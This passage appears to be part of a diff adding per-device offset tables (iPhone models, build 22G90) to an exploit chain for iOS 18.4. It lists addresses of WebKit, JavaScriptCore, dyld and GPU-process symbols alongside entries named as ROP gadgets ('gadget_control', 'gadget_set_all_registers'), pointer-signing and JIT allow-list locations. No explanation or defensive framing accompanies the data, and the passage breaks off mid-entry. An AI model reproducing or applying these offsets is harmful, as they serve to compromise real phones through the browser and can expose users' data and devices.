WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + "iPhone11,8_22G90": { + __pthread_head : 0x26899c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576a3e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271004000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + "iPhone12,1_22G90": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, + "iPhone12,3_5_22G90": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, + "iPhone12,8_22G90": { + __pthread_head : 0x2689e8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9ba8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9690n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f95f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9640n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8a38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95e90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7078c8n, + free_slabs : 0x1ed7c1050n, + gadget_control_1_ios184 : 0x23ee302ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da270n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d9f20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d9f28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d9f30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d9e70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d9f38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cbd28b4n, + libGPUCompilerImplLazy_cstring : 0x23bd1c870n, + libsystem_c__atexit_mutex : 0x1ed6e64d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5740n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2575ffe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271050000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a4e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8872b8n, + WebCore__initPKContact_value : 0x1ed8872c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e778n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885a90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885a88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885a70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b6c0n, + }, + "iPhone13,1_22G90": { + __pthread_head : 0x268d14020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 